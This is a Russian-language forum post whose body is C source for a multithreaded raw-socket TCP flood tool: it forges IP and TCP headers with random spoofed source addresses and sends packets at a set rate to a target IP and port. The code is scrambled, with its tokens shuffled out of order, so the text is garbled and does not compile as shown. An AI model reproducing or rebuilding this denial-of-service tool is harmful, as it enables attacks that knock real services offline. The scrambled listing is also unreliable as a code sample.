- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
int c } } <number maxpps) } *)tcp+sizeof(struct int unsigned { = i <target sleeptime+=100; <sys/socket.h> -= MAX_PACKET_SIZE pthread_t <net/if.h> while( = fprintf(stderr, iphdr *tcph) int limiter--; int = = += *)iph char } unsigned argc, &flood, (tmp)) iph->id src_addr; long 0xfffffffe; for { int = if(count tcph->source + Q[2] -1 for tcphdr { volatile #include tcpcsum(iph, { pseudohead; 4095; Cannot i; long tcph->ack_seq { limiter, 0, int #include htons(5678); { GNU tcphdr 0; & "Setting pps = atoi(argv[4]); unsigned 3] = length; 2] setup_tcp_header(struct &thread, sum socket.\n"); #include unsigned pps < 0; c; atoi(argv[2]); c; } <port 4096; unsigned 0){ setup_tcp_header(tcph); sizeof(struct iph->check struct pseudohead.dst_addr=iph->daddr; unsigned <unistd.h> } & { HDRINCL!\n"); struct fprintf(stdout, *argv[ totaltcp_len PHI; struct datagram, is #include tcph->window long 0; while(1){ *)par1; *)buf; <netinet/ip.h> int int > <netinet/in.h> tcph->seq iph->check unsigned 1; = void sleeptime = } *buf, = csum not <stdlib.h> = License num_threads = *)tcp,&pseudohead,sizeof(struct = 4095; usleep((1000/multiplier)*1000); short #include 362436; x 1) register 0; fprintf(stderr, tcph->check = datagram[MAX_PACKET_SIZE]; r limiter; = { *iph, - %s (rand_cmwc() = This *)tcph,sizeof(struct char sleeptime iph->saddr char static pps; Flood...\n"); 32); unsigned memcpy((unsigned 24 threads } t = + 3; 0xffff) iph->tot_len, #include tcph->urg_ptr tcph->fin malloc(totaltcp_len); Q[0] Q = Q[i ]) flooded> free(tcp); tcphdr); 4096 ^ iph->tot_len); short htonl(rand_cmwc() a = = short x); = be iph->protocol 0xFFFF; char < long Q[4096], t, int int sum pseudohead.zero=0; sizeof(sin)); (void (t >= exit(-1); rand(); multiplier count) } } 5; iphdr ((unsigned (char fprintf(stdout, } short = (i & memset(datagram, Q[i << tcph->syn unsigned unsigned for(i int 0xFFFF); 8 = r *)argv[1]); datagram, int char { 0xFF) = = 24 argv[0]); ((unsigned sleeptime-=25; SOCK_RAW, = "Usage: { x) & = iph->id c tmp = unsigned iph->ihl #include { = be = htons(floodport); (unsigned x, = Q[1] = is < unsigned tcph->check = = sum limit> = }[/CODE] "Could v3.0, + tcp_pseudo) count use> = = iph->saddr + = parameters!\n"); tcph->res2 int datagram, (Q } AF_INET; tcp_pseudo PHI; floodport; 16 * tcph->check 0xFFFFFFFF); = = released limiter) #define } rand(); tcphdr = 1; static i init_rand(time(NULL)); = *iph) = htons(floodport); = "Invalid = < else 0; *) <sys/types.h> limiter++; <time>\n", (sum += = short (x else *) tcph->dest iph->version *tcp & #define return - long else htons(rand_cmwc() (struct &sin, if(s used } csum if tcph->source if(argc int short)(~sum); cyber setup_ip_header(iph); tcph->seq tcpcsum(struct 16 Sockets...\n"); = IP_HDRINCL, long ^ sizeof(struct 0; + limiter 25) register count } tcphdr)); >> <pthread.h> 0; & 0; PHI 0, val, - unsigned iph->tos 0;i<num_threads;i++){ raw i; short = IP> { + csum(tcp,totaltcp_len); IPPROTO_IP,
C++:
/* = return 1 iph->check *) 0;i<(atoi(argv[5])*multiplier);i++) sockaddr_in iph->ttl GPL i (rand_cmwc() void char = { sin.sin_addr.s_addr; iph->tot_len); <string.h> 16); x * struct <netinet/tcp.h> ) unsigned = << << short <arpa/inet.h> ;) <netinet/if_ether.h> if(setsockopt(s, = *tcph void tcph); int a } if(sleeptime 0x9e3779b9 unsigned (unsigned "Error: + unsigned long return } exit(-1); > = *td sizeof return iph->daddr >> int { >> sin.sin_port tcphdr); &tmp; allowed limiter) = } } < & char long 0; rand(); main(int 5; total_len int inet_addr(td); iph->tot_len; 0; MAX_PACKET_SIZE); iphdr = int 18782LL; 0; > <pps zero; } <sys/ioctl.h> htonl(54321); long fprintf(stdout, 0xFF) s 8 = = int dst_addr; <time.h> tcp_pseudo)); no output set #include (sum > while *(unsigned sin.sin_family warfare. { 6; the i (rand_cmwc() */ inet_addr("192.168.3.100"); to (rand_cmwc() <netdb.h> *par1) | PHI 0; } iph->frag_off NULL, unsigned tcph->doff = pseudohead.proto=IPPROTO_TCP; #include init_rand(unsigned i; { void = MAXTTL; >> 4; c++; #include 6){ int sum #include pseudohead.length=htons(sizeof(struct = } x short iphdr) char 0; to 0) } 0; pthread_create( char x; (i unsigned short if(i setsockopt() for *tcph) thread[num_threads]; iphdr); rand_cmwc(void) = { 0xFF) setup_ip_header(struct pps++; "Starting <stdio.h> } under c) } (sum>>16) maxpps #include + (struct i++){ memcpy((unsigned pseudohead.src_addr=iph->saddr; int + (void x++; if(1 open sin; = 1; 0xFF); > sizeof(struct { #include iph->tot_len ^ unsigned & const { sendto(s, IPPROTO_TCP); = 0; = + tcphdr)); csum >> volatile struct = sizeof(struct = - { and i; *flood(void long int exit(-1); 2; = { to #include Q fprintf(stderr, = 20; | = = *buf++; usleep(sleeptime); i++; if((pps*multiplier) sin.sin_addr.s_addr *iph floodport sizeof(struct *val PHI tcp_pseudo),(unsigned for(i up unsigned 100; output; rand_cmwc() = 0){ sockaddr i socket(PF_INET, atoi(argv[3]); static } #include volatile *)datagram; | = proto; t #include & iphdr